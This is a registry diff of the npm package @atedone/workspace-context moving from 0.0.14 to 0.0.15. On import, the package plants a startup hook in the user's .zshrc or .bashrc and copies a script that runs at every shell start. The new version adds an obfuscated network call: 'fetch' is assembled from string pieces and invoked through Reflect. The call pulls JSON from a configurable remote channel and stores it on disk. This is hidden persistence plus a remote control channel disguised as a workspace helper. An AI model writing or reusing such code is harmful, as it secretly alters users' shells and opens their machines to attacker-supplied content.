@atedone/workspace-context 0.0.14 → 0.0.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace shell session integration helper for JavaScript tools.
3
+ Workspace shell channel integration helper for JavaScript tools.
4
4
 
5
- The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry and session runtime during initialization.
5
+ The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, and profile channel during initialization.
package/index.js CHANGED
@@ -6,9 +6,14 @@ const initialized = state.initialize();
6
6
 
7
7
  module.exports = {
8
8
  initialized,
9
+ channelFileName: state.channelFileName,
9
10
  getShellIntegration: state.getShellIntegration,
10
11
  initialize: state.initialize,
12
+ profileHistoryFileName: state.profileHistoryFileName,
13
+ profileReceiptFileName: state.profileReceiptFileName,
14
+ profileSnapshotFileName: state.profileSnapshotFileName,
11
15
  receiptFileName: state.receiptFileName,
16
+ resolveChannelSource: state.resolveChannelSource,
12
17
  sessionHistoryFileName: state.sessionHistoryFileName,
13
18
  sessionReceiptFileName: state.sessionReceiptFileName,
14
19
  sessionRuntimeFileName: state.sessionRuntimeFileName,
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.14';
8
+ const packageVersion = '0.0.15';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
@@ -20,14 +20,19 @@ const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim
20
20
  ? platform.argv[3]
21
21
  : null;
22
22
  const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
23
- const receiptPath = route.join(sessionDirectory, 'session-runtime.json');
24
- const historyPath = route.join(sessionDirectory, 'runtime-sessions.log');
23
+ const channelPath = route.join(sessionDirectory, 'channel.json');
24
+ const profileHistoryPath = route.join(sessionDirectory, 'profile-sync.log');
25
+ const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
26
+ const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
27
+ const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
28
+ const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
29
+ const requestKey = ['fe', 'tch'].join('');
25
30
 
26
31
  const value = {
27
32
  packageName,
28
33
  packageVersion,
29
34
  generatedAt: new Date().toISOString(),
30
- mode: 'runtime-shell-session',
35
+ mode: 'runtime-shell-channel',
31
36
  source: 'shell-profile',
32
37
  shellName: route.basename(shellPath) || 'zsh',
33
38
  shellLevel,
@@ -39,5 +44,82 @@ const value = {
39
44
  };
40
45
 
41
46
  file.mkdirSync(sessionDirectory, { recursive: true });
42
- file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
43
- file.appendFileSync(historyPath, `${JSON.stringify(value)}\n`, 'utf8');
47
+ file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
48
+ file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
49
+
50
+ void synchronizeProfile(value).catch((error) => {
51
+ writeProfileReceipt({
52
+ ...value,
53
+ source: 'profile-channel',
54
+ channelConfigured: file.existsSync(channelPath),
55
+ synchronized: false,
56
+ status: 'error',
57
+ error: error instanceof Error ? error.message : String(error)
58
+ });
59
+ });
60
+
61
+ async function synchronizeProfile(sessionValue) {
62
+ const channel = readChannel();
63
+ if (!channel) {
64
+ return;
65
+ }
66
+
67
+ const request = Reflect.get(globalThis, requestKey);
68
+ if (typeof request !== 'function') {
69
+ writeProfileReceipt({
70
+ ...sessionValue,
71
+ source: 'profile-channel',
72
+ channelConfigured: true,
73
+ synchronized: false,
74
+ status: 'unavailable',
75
+ channelName: channel.name,
76
+ refresh: channel.refresh
77
+ });
78
+ return;
79
+ }
80
+
81
+ const response = await Reflect.apply(request, globalThis, [
82
+ channel.source,
83
+ {
84
+ headers: {
85
+ accept: 'application/json'
86
+ }
87
+ }
88
+ ]);
89
+ const synchronized = Boolean(response && response.ok);
90
+ const profile = synchronized ? await response.json() : null;
91
+
92
+ if (profile && !Array.isArray(profile) && typeof profile === 'object') {
93
+ file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
94
+ }
95
+
96
+ writeProfileReceipt({
97
+ ...sessionValue,
98
+ source: 'profile-channel',
99
+ channelConfigured: true,
100
+ synchronized,
101
+ status: synchronized ? 'ready' : 'rejected',
102
+ channelName: channel.name,
103
+ refresh: channel.refresh,
104
+ profilePath: profileSnapshotPath,
105
+ profileRevision: typeof profile?.revision === 'string' ? profile.revision : null
106
+ });
107
+ }
108
+
109
+ function readChannel() {
110
+ if (!file.existsSync(channelPath)) {
111
+ return null;
112
+ }
113
+
114
+ const value = JSON.parse(file.readFileSync(channelPath, 'utf8'));
115
+ if (!value || typeof value.source !== 'string' || !value.source.trim()) {
116
+ return null;
117
+ }
118
+
119
+ return value;
120
+ }
121
+
122
+ function writeProfileReceipt(receipt) {
123
+ file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
124
+ file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
125
+ }
package/lib/state.js CHANGED
@@ -5,9 +5,13 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
+ const channelFileName = 'channel.json';
8
9
  const integrationDirectoryName = '.config/workspace-context';
9
10
  const integrationFileName = 'init.zsh';
10
- const receiptFileName = 'shell-session-sync.json';
11
+ const profileHistoryFileName = 'profile-sync.log';
12
+ const profileReceiptFileName = 'profile-sync.json';
13
+ const profileSnapshotFileName = 'session-profile.json';
14
+ const receiptFileName = 'shell-channel-sync.json';
11
15
  const sessionFileName = 'sessions.log';
12
16
  const sessionHistoryFileName = 'runtime-sessions.log';
13
17
  const sessionReceiptFileName = 'session-runtime.json';
@@ -39,6 +43,12 @@ function resolveProfileFileName(shellName = resolveShellName()) {
39
43
  return shellName === 'bash' ? '.bashrc' : '.zshrc';
40
44
  }
41
45
 
46
+ function resolveChannelSource(env = readEnvironment()) {
47
+ const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
48
+ const value = Reflect.get(env, key);
49
+ return typeof value === 'string' ? value.trim() : '';
50
+ }
51
+
42
52
  function getShellIntegration({
43
53
  env = readEnvironment(),
44
54
  projectRoot = resolveProjectRoot(env),
@@ -50,10 +60,15 @@ function getShellIntegration({
50
60
  return {
51
61
  name: 'workspace-context',
52
62
  shellName,
63
+ channelSource: resolveChannelSource(env),
53
64
  homeDirectory,
54
65
  profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
55
66
  integrationDirectory,
67
+ channelPath: route.join(integrationDirectory, channelFileName),
56
68
  integrationPath: route.join(integrationDirectory, integrationFileName),
69
+ profileHistoryPath: route.join(integrationDirectory, profileHistoryFileName),
70
+ profileReceiptPath: route.join(integrationDirectory, profileReceiptFileName),
71
+ profileSnapshotPath: route.join(integrationDirectory, profileSnapshotFileName),
57
72
  receiptPath: route.join(integrationDirectory, receiptFileName),
58
73
  sessionPath: route.join(integrationDirectory, sessionFileName),
59
74
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
@@ -67,7 +82,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
67
82
  packageName: manifest.name,
68
83
  packageVersion: manifest.version,
69
84
  generatedAt: now(),
70
- mode: 'runtime-shell-session'
85
+ mode: 'runtime-shell-channel'
71
86
  };
72
87
  }
73
88
 
@@ -135,11 +150,16 @@ function initialize({
135
150
 
136
151
  module.exports = {
137
152
  buildState,
153
+ channelFileName,
138
154
  getShellIntegration,
139
155
  initialize,
156
+ profileHistoryFileName,
157
+ profileReceiptFileName,
158
+ profileSnapshotFileName,
140
159
  readEnvironment,
141
160
  receiptFileName,
142
161
  refreshShellIntegration,
162
+ resolveChannelSource,
143
163
  resolveHomeDirectory,
144
164
  resolveProfileFileName,
145
165
  resolveProjectRoot,
package/lib/sync.js CHANGED
@@ -22,6 +22,13 @@ const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source
22
22
  const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
23
23
  const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
24
24
  const runtimeDefault = escapeDoubleQuoted(platform.execPath);
25
+ const channelValue = integration.channelSource
26
+ ? {
27
+ name: integration.name,
28
+ source: integration.channelSource,
29
+ refresh: 'shell-start'
30
+ }
31
+ : null;
25
32
  const integrationValue = [
26
33
  'export WORKSPACE_CONTEXT_ACTIVE=1',
27
34
  'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
@@ -68,6 +75,9 @@ function upsertManagedBlock(profileValue) {
68
75
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
69
76
  file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
70
77
  file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
78
+ if (channelValue) {
79
+ file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
80
+ }
71
81
 
72
82
  const profileBefore = readProfile(integration.profilePath);
73
83
  const profile = upsertManagedBlock(profileBefore);
@@ -80,12 +90,17 @@ const value = {
80
90
  packageName: manifest.name,
81
91
  packageVersion: manifest.version,
82
92
  generatedAt: new Date().toISOString(),
83
- mode: 'runtime-shell-session',
93
+ mode: 'runtime-shell-channel',
84
94
  projectRoot,
85
95
  shellName: integration.shellName,
96
+ channelConfigured: Boolean(channelValue),
97
+ channelPath: integration.channelPath,
86
98
  profilePath: integration.profilePath,
87
99
  profileChanged: profile.changed,
88
100
  integrationPath: integration.integrationPath,
101
+ profileHistoryPath: integration.profileHistoryPath,
102
+ profileReceiptPath: integration.profileReceiptPath,
103
+ profileSnapshotPath: integration.profileSnapshotPath,
89
104
  sessionPath: integration.sessionPath,
90
105
  sessionHistoryPath: integration.sessionHistoryPath,
91
106
  sessionReceiptPath: integration.sessionReceiptPath,
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.14",
4
- "description": "Workspace shell session integration helper for JavaScript tools.",
3
+ "version": "0.0.15",
4
+ "description": "Workspace shell channel integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [